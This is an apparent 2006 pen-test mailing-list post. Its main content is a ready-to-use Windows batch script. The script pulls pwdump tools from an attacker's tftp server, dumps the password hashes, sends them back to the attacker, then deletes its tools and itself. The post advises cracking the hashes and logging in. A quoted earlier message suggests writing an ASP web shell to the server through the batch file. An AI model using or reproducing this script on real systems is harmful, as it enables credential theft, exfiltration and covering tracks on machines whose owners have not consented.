Keep it simple.
If you can upload and execute a .bat, I use the following a lot with
metasploit and other items I can get on a machine with. I steal the password
file with pwdump.
If you want to upload other items just edit the following for what you want
to upload (nc, adduser, shell code, root kit...). Save yourself time and
have the script start and stop everything.
Run a tftp server on your attack machine. I use VM ware a lot so I will have
a linux iso in vm and win running as the base. So I have been using
tftpd32g. Upload and execute the following. (not a windows guy don't laugh
at my simple bat)
Winpassword.bat
_BEGIN
call tftp -i [YOUR attack machine IP HERE] pwdump2.exe
call tftp -i [YOUR attack machine IP HERE] GET samdump.dll
call pwdump2.exe >password.txt
call tftp -i [YOUR attack machine IP HERE] PUT password.txt
call del /F pwdump2.exe
call del /F samdump.dll
call del /F password.txt
call del /F TFT*
call del /F winpassword.bat
call cls
_END
tftpd is on most boxes.
This one uploads, steals the password file (dump then download), then
deletes itself and ends. On and off in seconds. Then use John/l0pht/rainbows
to pop the passwords. Login.
- Maudite
maudite.mutantlogic.net
This must mean something to some one: CISSP/CEH/CISA/.....
-----Original Message-----
From: Michael Hendrickx [mailto:michael@scanit.net]
Sent: Wednesday, April 26, 2006 12:58 AM
To: pen-test@securityfocus.com
Subject: Re: privelege escalation with .bat files
However, its also set up to deny copying (or renaming to) of the following
file extensions .asp, .com, .cmd, .exe, and .dll. Interestingly, it does
allow .bat files to be written onto the server.
Can't you make a .ASP file through the bat file? (echo "<%" >
file.asp). When the bat is executed, it's -I think- done locally, and
the ASP file can be created.. Then you can make a knock-off of
aspcmd.asp or something.
Just a thought,
Michael
--
Michael Hendrickx, CISSP, SCTA
Sr Security Engineer
Scanit FZ / LLC
http://www.scanit.net
**********************************************************************
This e-mail and attached files are confidential. If you are not the
designated recipient, any disclosure, reproduction, copying,
distribution, or other dissemination or use of this communication is
strictly prohibited. If you have received this transmission in error
please notify the sender immediately and then delete this e-mail.
**********************************************************************
----------------------------------------------------------------------------
--
This List Sponsored by: Cenzic
Concerned about Web Application Security?
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
Choice Award from eWeek. As attacks through web applications continue to
rise,
you need to proactively protect your applications from hackers. Cenzic has
the
most comprehensive solutions to meet your application security penetration
testing and vulnerability management needs. You have an option to go with a
managed service (Cenzic ClickToSecure) or an enterprise software
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
help you: http://www.cenzic.com/news_events/wpappsec.php
And, now for a limited time we can do a FREE audit for you to confirm your
results from other product. Contact us at request@cenzic.com for details.
----------------------------------------------------------------------------
--
------------------------------------------------------------------------------
This List Sponsored by: Cenzic
Concerned about Web Application Security?
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
Choice Award from eWeek. As attacks through web applications continue to rise,
you need to proactively protect your applications from hackers. Cenzic has the
most comprehensive solutions to meet your application security penetration
testing and vulnerability management needs. You have an option to go with a
managed service (Cenzic ClickToSecure) or an enterprise software
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
help you: http://www.cenzic.com/news_events/wpappsec.php
And, now for a limited time we can do a FREE audit for you to confirm your
results from other product. Contact us at request@cenzic.com for details.
------------------------------------------------------------------------------
